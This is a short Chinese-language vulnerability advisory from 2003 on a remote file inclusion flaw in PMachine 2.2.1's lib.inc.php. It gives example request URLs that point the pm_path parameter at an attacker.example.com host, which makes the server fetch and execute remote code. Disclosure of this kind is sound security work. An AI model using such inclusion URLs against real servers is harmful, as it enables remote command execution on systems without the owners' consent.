PMachine Lib.Inc.PHP远程包含执行命令漏洞发布时间：2003-06-15 更新时间：2003-06-15 严重程度：高 威胁程度：普通用户访问权限 错误类型：输入验证错误 利用方式：服务器模式 BUGTRAQ ID：7919 受影响系统 PMachine PMachine 2.2.1详细描述 PMachine的Lib.Inc.PHP文件在处理包含文件时没有充分检查，远程攻击者可以通过包含远程文件恶意文件来执行命令。 测试代码 Frog Man <leseulfrog@hotmail.com> 提供如下测试方法: http://victim.example.com/pm/lib.inc.php?pm_path=http://attacker.example.com/&sfx=.txt with: http://attacker.example.com/config.txt or http://victim.example.com/pm/lib.inc.php?pm_path=http://attacker.example.com/&sfx=/badcode.txt with: http://attacker.example.com/config/badcode.txt 相关信息 "Frog Man" <leseulfrog@hotmail.com> |
